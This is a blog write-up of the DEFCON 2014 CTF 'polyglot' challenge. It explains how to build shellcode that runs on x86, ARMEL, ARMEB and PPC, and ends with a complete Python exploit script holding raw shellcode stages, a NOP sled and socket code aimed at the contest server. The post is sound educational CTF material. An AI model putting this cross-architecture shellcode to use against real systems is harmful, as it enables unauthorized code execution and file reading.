본문 바로가기

Games/CTF

DEFCON 2014 polyglot writeup

I solved this task with my teammate 'externalist'


The task is very simple, and straightforward. We need to make a shellcode which opens the 'flag' file and writes to STDOUT. However, the shellcode needs to be compatible among four different CPU architecture (x86, armel, armeb, ppc).


If we pass our shellcode to server, the server passes this shellcode to four different server which performs this... If all the server successfully executes shellcode and reads the flag, then we win.



Simply mmapping exec area...



and executing it.


my teammate managed to create a file reading shellcode compatible in x86 and armel. However, he got stuck at this point and I took over. The basic approach for solving this task is finding an jumping or branching instruction which is valid in one architecture however acting as a NOP in another architecture.


Such instruction compatible in Intel - ARM architecture can be easily found. There is even a paper (Platform Independent Program) which describes this. The most challenging part was finding the Instruction which acts as a branch from PPC but NOP from ARM, ARMEB, Intel.


To find such instruction, I quickly studied the PPC architecture and found out that opcode starting with 0x40 ~ 0x48 are branch type of instructions. I enumerated some useful branch instruction candidates for PPC.



Then, I enumerated these PPC machine codes as ARM, ARMEB, and x86 to find the intersection of the instructions which satisfies my need. After digging the instructions in each architectures, I found a promising candidate which was "42, 8B, 00, ??".


42 8B 00 ?? is a ?? byte branch instruction in PPC. 



however it can be used as a NOP in ARMEL like this.


Also, ARMEB can execute this without causing problem...



Finally, the Intel can also execute this 4 byte machine code without crashing the program.




Using this magic instruction, I managed to create a file reading shellcode compatible in x86, ARMEL, ARMEB, and PPC. Giving this shellcode lets us read the flag :)





# final exploit.

import socket, sys


client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

client_socket.connect(('polyglot_9d64fa98df6ee55e1a5baf0a170d3367.2014.shallweplayaga.me', 30000))

data = client_socket.recv(10000)

print data

senddata = 'w0rk_tHaT_tAlEnTeD_t0nGu3\n'

client_socket.send(senddata)

data = client_socket.recv(10000)

print data

data = client_socket.recv(10000)

print data



ebfe_x86 = "\xeb\xfe"

ebfe_armel = "\xfe\xff\xff\xea"

ebfe_armeb = "\xea\xff\xff\xfe"


jmp_ppc = "\x42\xb8\x00\xa0"

jmp_armeb = "\xEB\x00\x00\xD0" 

jmp_armel = "\x14\x00\x00\xEA"


stage1_offset = "\x41" 


stage1 = '\x31\xC9\xF7\xE1\xB0\x05\x51\x33\xDB\xB3\x41\xC1\xE3\x18\x80\xC3' + stage1_offset + '\xCD\x80\x33\xDB\xB3\x42\xC1\xE3\x18\x80\xC3\x01\x93\x91\xB0\x03\x31\xD2\x66\xBA\xFF\x0F\x42\xCD\x80\x92\x31\xC0\xB0\x04\xB3\x01\xCD\x80\xEB\x09\x2F\x66\x6C\x61\x67\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90' 


stage2 = '\x30\x00\x8f\xe2\x00\x10\xa0\xe3\x05\x70\xa0\xe3\x00\x00\x00\xef\x0d\x10\xa0\xe1\x20\x20\xa0\xe3\x03\x70\xa0\xe3\x00\x00\x00\xef\x00\x20\xa0\xe1\x0d\x10\xa0\xe1\x01\x00\xa0\xe3\x04\x70\xa0\xe3\x00\x00\x00\xef\xfe\xff\xff\xea\x66\x6c\x61\x67\x00\x00\x00\x00'


stage4 = '\x7c\xc6\x32\x78\x2f\x86\x7f\xff\x41\xbc\x00\x48\x7c\x68\x02\xa6\x38\x80\x00\x00\x38\xa0\x00\x00\x38\x00\x00\x05\x44\x00\x00\x02\x3c\x80\x42\x00\x38\x84\x02\x00\x38\xa0\x00\x40\x38\x00\x00\x03\x44\x00\x00\x02\x38\x60\x00\x01\x3c\x80\x42\x00\x38\x84\x02\x00\x38\xa0\x00\x40\x38\x00\x00\x04\x44\x00\x00\x02\x48\x00\x00\x00\x4b\xff\xff\xbd\x66\x6c\x61\x67\x00\x00\x00\x00'


nopsled = "\x90" * ( 0x344 - (len(jmp_armel) + len(stage1) + len(stage2) + len(stage4)) )


tmp = '\x30\x00\x8f\xe2\x00\x10\xa0\xe3\x05\x70\xa0\xe3\x00\x00\x00\xef\x0d\x10\xa0\xe1\x20\x20\xa0\xe3\x03\x70\xa0\xe3\x00\x00\x00\xef\x00\x20\xa0\xe1\x0d\x10\xa0\xe1\x01\x00\xa0\xe3\x04\x70\xa0\xe3\x00\x00\x00\xef\xfe\xff\xff\xea\x67\x61\x6c\x66\x00\x00\x00\x00'

stage3 = ''

for i in xrange(0,len(tmp) / 4):

string1 = tmp[i*4 : (i+1)*4]

string2 = string1[3] + string1[2] + string1[1] + string1[0]

stage3 += string2


senddata = jmp_ppc + jmp_armeb + jmp_armel + stage1 + stage2 + stage4 + nopsled + stage3

sys.stdout.write( senddata )


client_socket.send(senddata)


data = client_socket.recv(10000)

print data

data = client_socket.recv(10000)

print data

data = client_socket.recv(10000)

print data

data = client_socket.recv(10000)

print data

data = client_socket.recv(10000)

print data


client_socket.close()



'Games > CTF' 카테고리의 다른 글

DEFCON 2014 sftp writeup  (0) 2014.05.23
DEFCON 2014 babyfirst heap writeup  (0) 2014.05.22
DEFCON 2014 bbgp writeup  (2) 2014.05.21
DEFCON 2014 byhd writeup  (0) 2014.05.21
PlaidCTF 2014 kappa  (0) 2014.04.15